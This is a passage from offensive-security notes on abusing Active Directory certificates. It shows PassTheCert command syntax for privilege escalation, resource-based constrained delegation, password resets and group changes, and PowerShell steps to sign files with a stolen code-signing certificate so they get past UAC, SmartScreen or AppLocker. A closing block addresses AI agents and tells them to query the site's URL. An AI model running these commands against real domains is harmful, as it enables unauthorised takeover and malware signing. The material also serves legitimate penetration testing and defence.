PassTheCert.exe --server <DC_IP | DC_HOSTNAME> --cert-path <CERT_PFX_PATH> [--cert-password <CERT_PASSWORD>] [--elevate | --rbcd | --add-computer | --reset-password | --add-account-to-group]
```

**Code signing certificate**

`Code Signing` certificates (`OID 1.3.6.1.5.5.7.3.3`) can be used to sign `PE` binaries or PowerShell scripts.

Digitally signed executables can be exempted from `User Account Control (UAC)` or `Windows SmartScreen` prompt. Additionally, on systems with `AppLocker` enabled, `Windows Installer` files digitally signed by a trusted publisher can be installed by non-privileged users, resulting in a potential local privilege escalation.

```bash
# Lists the certificates with code-signing authority stored in the specified certificate store.
Get-ChildItem -Path Cert:<\CurrentUser\My | CERTIFICATE_STORE> -CodeSigningCert

# Uses a code-signing certificate in the specified store.
$cert = Get-ChildItem -Path Cert:<\CurrentUser\My | CERTIFICATE_STORE> -CodeSigningCert

# Uses the specified PFX certificate file.
$cert = Get-PfxCertificate -FilePath <CERTIFICATE_PFX>

# Signs the given file using the code-signing certificate specified.
Set-AuthenticodeSignature -Certificate $cert [-HashAlgorithm <sha1 | sha256>] [-TimestampServer "<http://timestamp.digicert.com | TIMESTAMP_SERVER_URL>"] -FilePath <FILE_TO_SIGN>
```

***

### References

<https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/>

<https://posts.specterops.io/certified-pre-owned-d95910965cd2>

<https://www.specterops.io/assets/resources/Certified\\_Pre-Owned.pdf>

<https://www.sysadmins.lv/blog-en/understanding-active-directory-certificate-services-containers-in-active-directory.aspx>

<https://ldapwiki.com/wiki/ExtendedKeyUsage>

<https://www.sysadmins.lv/blog-en/constraining-extended-key-usages-in-microsoft-windows.aspx>

<https://www.keyfactor.com/blog/hidden-dangers-certificate-subject-alternative-names-sans/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.qazeer.io/active-directory/exploitation-certificate_services.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
